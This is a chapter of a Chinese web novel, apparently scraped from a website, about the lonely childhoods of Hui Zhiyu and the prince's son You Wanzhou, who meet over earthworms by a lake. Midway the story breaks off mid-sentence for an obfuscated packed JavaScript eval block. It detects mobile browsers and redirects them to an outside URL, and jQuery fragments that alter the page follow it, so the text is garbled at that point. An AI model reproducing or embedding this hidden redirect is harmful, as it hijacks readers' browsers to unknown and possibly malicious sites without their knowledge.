心中泛滥一种难以言喻的酸楚,回忆如同潮水般涌来。
五岁时惠芷玉就已经记事了。自那时开始,她记忆里就是娘亲忙碌的背影,她是女子,不能入学堂,于是娘亲吩咐她要跟着家里请的先生好好念书。可是她与白纸黑字两两对瞅,字不认识她,她也不认识字,先生说话腔调又平板枯燥,实在无聊实在憋闷,惠芷玉一次又一次往出跑。
她喜欢往出跑。喜欢阳光照耀在身上那温暖的感触,喜欢清风吹动她发丝那凉爽的感触,喜欢手握树枝韧直,喜欢脚踩泥塘黏湿。她喜欢这个世界上一切新奇的、自然的、哪怕是不自然的——所以她也喜欢瓦片冷硬,喜欢麻绳糙砾。
第一次出去时,她在繁华的街道上遇见了三两成群,缓步闲逛,看着精巧又玲珑的小姐少爷们。惠芷玉幼小的心灵被华美明丽触动,又是个不懂事的,她直接奔上前去邀请漂亮好闻的小伙伴们做她的朋友。
“做朋友,跟你?”人群中的领头者是名小少爷,他头戴高冠,服装华贵,牵着一只可爱小猫。他虚眯起眼,似笑非笑,用眼神从上到下扫视着惠芷玉。
在这种眼神中,惠芷玉也开始紧张,她低头打量自己。没戴珠宝,因为太重了不喜欢;没穿华服,因为太笨了跑不快。
小少爷问:“你姓什么?”
“我姓惠。”话音刚落她就看见对面这群人嘘声顿起,更是不知自己做了什么。
“惠家啊,你知道我们是谁吗?”小少爷挑眉,“我姓成,他姓傅,她姓燕,她姓谢。”
“那又怎么了?姓氏不一样不能做朋友?”
“嘿,原来还是个傻的,”小少爷断论说下,这群人窃语偷笑起来,“那我跟你说清楚了,你们惠家早就不是几百年前的名门大户了,现在的你给我们提鞋都不配!走!”
少爷小姐们又偷笑着错开她,每一个人都戏谑瞄她一眼,眼神中都是同样的意蕴。惠芷玉涨红了脸反过身去,大声道:“就你们这样随意羞辱人的,我也觉得你们不配跟我玩!”说完趁他们反应过来前迅速逃跑。
第二次出去时,她再也不碰衣着华丽的公子千金,在街道上碰着几个粗布麻衣,正一起做鬼抓人游戏的男孩,惠芷玉满怀热切上前去,表示想要和他们一起玩。
男孩们面面相觑,其中一个被其他几个推出来,挠了挠头说:“呃,你是女孩子,女孩子应该更喜欢玩娃娃过家家吧,我们这要是给你磕碰摔坏了,回家就要被爹娘教训了,你还是去找其他女孩吧。”
“可是我不喜欢玩娃娃过家家,我也想跟你们一起当鬼抓人。”惠芷玉杏眼低垂,扁起了嘴。
“可是,我们也不习惯跟女孩玩……有你在的话我们也玩不好了,你还是去找其他女孩吧。”说话的男孩也为难得紧,男孩群体纷纷点头。
他们不愿意接纳自己,惠芷玉只好扁着嘴委屈地离开。
第三次出去时,她专门找粗布麻衣的女孩。在街边碰见两个朴素的女孩聚拢一起,正说悄悄话,惠芷玉凑上前去,询问可否加入她们。
“可以呀,要玩什么?我们也正苦恼人太少,感觉没什么好玩的呢。”粉裳女孩转忧为乐,绿裳女孩也热切望来。
两个小伙伴的求助充分助长惠芷玉内心的热情,她也高兴起来,一手拉着一个,带她们往城郊跑:“我们去捉蝴蝶!”
那一日她们玩得愉快,只是身上衣裙都脏乱了。第二日惠芷玉又去寻她们,先到粉裳处,她一脸难过,说:“爹说我没个女孩样,从今天开始要读女训不准出门……”又去绿裳家,她也低垂着眼道:“娘让我学做女红做嫁衣,不能玩了。”
几日争取依旧无果,甚至被二人爹娘上门拜访,在娘亲拉着她的手语重心长劝她家家不同,不是每家女孩都可以自在时,惠芷玉不得不放弃了。
她只能带着侍女一人出去,去城郊一片美丽的湖泊。去湖边踩水,捏泥人,捉蝴蝶。
直到某一日,她在湖边看见一个衣服颜色朴素,但又长得漂亮的男孩,坐在地上挖长虫。她没见过这种虫,凑过去蹲下一把捏住。长虫在手里歪扭,有点痒,她笑起来问:“这是什么虫呀,好好玩。”
“这是蚯蚓,我打算多找几条打结,”漂亮男孩也惊讶地笑起来,“你是谁啊,以前没见过蚯蚓吗?”
他衣服颜色这么素,肯定不是那种瞧不起人的家伙。惠芷玉点点头,说:“没见过,我是惠安安,呃,不对,”她绞尽脑汁想起自己的大名,“芷,玉!惠芷玉!”
男孩又指了指手边另一块湿润的泥土:“像这种泥里一般就有蚯蚓,安安,我是游圆圆,你也可以叫我游万洲。”
什么碗什么粥?惠芷玉放弃思考,“圆圆,树枝给我我也要挖。”
游圆圆立刻把手中树枝捏在怀中,“不给,我找了好几天才找到这么完美的树枝,我还没玩够呢。”
他要是给了也就罢了,这么护着,惠安安立刻升起一股胜负欲来,直接过去从他手中抢,“给我给我,我也要玩!”
“不给不给!”游圆圆拼命守护,两人在泥土地上闹起来。
…………
……………………
窝在被子中,游万洲虽闭着眼,但一点睡意都无。他一个翻身又起来,穿上轻鞋在屋子里绕圈圈。
不知道安安有没有收下他的赔礼,不知道安安有没有接受他的歉意。他不断抿着自己的唇,挺翘鼻子也皱起,十分焦心。
游万洲去看挂在天边的明月,今夜十六,月相圆满。都说圆月是团圆,可他竟不知道自己能否与安安团圆。
要是安安不愿意。游万洲微微闭眼,脑中现出他许多日常之景。
达官贵人是个圈,皇室游家是圈中圆心。在同龄人中,他也是圈中圆心,身周总不缺围绕之人。
初次在宴席上登场,游万洲还很不适应。大人们个个脸上带笑,在觥筹交错间相互招呼,而名门世家的孩子,也随着家风教育有样学样,酒杯装甜汁,也觥筹交错着相互招呼。
游万洲也是其中一人,他不仅是其中一人,还是众人所招呼的对象。每个孩子都会来游万洲身边给他敬酒、谈天,甚至不少大人也会来游万洲身边夸赞、恭敬。他们笑脸来,游万洲也不能臭脸迎,于是也笑着,迎合宴席氛围。
“世子殿下喜欢什么,若是空了我们不如相约去游玩?”成家少爷头戴高冠,端着杯甜汁来攀谈。
他喜欢上树掏鸟蛋,刨土挖蚯蚓。可这话出口就会被爹训斥。于是游万洲喝了一口甜汁,想着成家人最不擅长之物,道:“近来感觉骑御之道颇有乐趣。”
“这,样啊……世子殿下真是英武。”成少爷又敬他一杯。
首次参与宴席,他表现大方谈吐有物,十分给信王长脸,于是便不能轻易推脱,信王应邀时总带上他,方便显出信王府家风严谨教养极佳。他也想让爹高兴,哪怕心中不喜却也强撑着应约。
到了五岁能够去学堂的年纪。游万洲还是颇有期待。据说学堂夫子教育严格平等待人,同学彼此之间快言快语率直有趣,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15191867|165583||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这般情谊吸引他非常。
第一日他不习惯时辰,起晚了略迟时间,急匆匆领着书侍进入学堂。夫子正在讲席上训斥迟到的几位同学,转眼却看见世子殿下,夫子沉默一下笑起来,道:“游同学,你坐窗边。”
游万洲立刻对学堂失去了一半的兴趣,但还有另一半。于是在课余时间,他心中尚存期待,转身去问后桌:“你叫什么名字?我叫游万洲。”
“啊,世子殿下!”后桌脸颊都兴奋涨红了,“我叫傅赟,是傅家的七子。能跟殿下做同学,我很荣幸。”
游万洲眯了眯眼,笑了笑:“以后多指教。”抬头去看教室内,在满耳朵的自我介绍相互作揖中,他听出满学堂的高门大户。高门大户们又都也在观察他,每与他对上视线便笑容热切。
换了皮的宴席场,另一半期待也荡然无存。
回家时游万洲才算从假面里挣脱,他皱着鼻子蹙着嘴,下了马车路过花园。花园里新开了鲜花,吸引他的目光,游万洲眉目平缓想了想,想到小人书里说的蚯蚓,有些好奇,蹲下来不顾衣摆坠地粘尘,手指挖开鲜花旁的泥土。
真有蚯蚓,他高兴地抓住,跑去找父亲。信王坐在书房,游万洲一路跑着大声道:“爹,你看我找到了什么——!”
信王游文斌沉着脸抬头,看见儿子手上一条歪来扭去黑土脏污的长虫,他突然竖眉起身,几步过去抬手给了儿子一掌把他拍倒在地,呵斥道:“还不扔掉!你这样被其他姨娘、其他家族的人看了,不得说我信王府没有教养,给我丢脸!”
往日爹都是训斥,这是他第一次动手。趴在地上,游万洲半天爬不起来。耳朵嗡嗡鸣,眼前金星闪闪。他在金星闪闪的视线里捕捉到爹盛怒的样貌,忽然福至心灵,明了了爹的所思所想。他缓了片刻爬起来,在爹目光下将蚯蚓扔出门外,拍净手上的泥尘,对着爹恭顺:“儿子明白了,以后不会再犯。”
想必是爹又在哪里听见了什么不好的言论,正带着气,他来得不巧。游万洲退出书房关上门,赶紧把蚯蚓捡了起来。往远走了走,看见了墙边的娘亲。
夏王妃用一种不明的眼神看了一眼书房门,把他拉拢过来,拿着膏药用指给他涂抹肿胀的脸,叹了口气温柔道:“傻圆圆,现在知道要听娘的话了吗,不要去跟你爹玩,他喜怒无常,不好相处。”
“……”游万洲委屈,把蚯蚓抬起给娘看,“我只是觉得它很好玩。”
夏瑶岑抹药的手顿了顿,黛眉微蹙不去看它,坚持着给儿子抹药。虽然她什么话都没说,但游万洲什么都懂得了,连娘亲都不喜,他把蚯蚓扔回了旁边的花坛。
于是游万洲只能自己抽空时自己离开家玩,直到某天,一个可爱女孩抢走了他挖出来的蚯蚓。
从回忆中回神,游万洲精神恹恹。如果安安不愿意,他毫无办法。
窗框声响,游万洲一愣,以为自己听岔了。窗框再响,他立刻精神万分,冲过去拉开窗户。
明亮皎洁的月色,圆满无缺的月相下,惠芷玉站在窗外,扭着半边脸,把木盒丢进来。游万洲眼疾手快接住,听见她说:“信纸我就收下了,地契我不要,我们家也不要。”
“可是你们家……”游万洲担忧看去。惠芷玉柳眉一挑,转脸瞧来,道:“我们家有我,我可会做生意了,不用你来。”
“?”什么时候会做的生意。没待游万洲想明白,又听她道:“所以,那个,咳,侍卫给我。不要让我娘知道,偷偷给我。”
圆月确是团圆之相。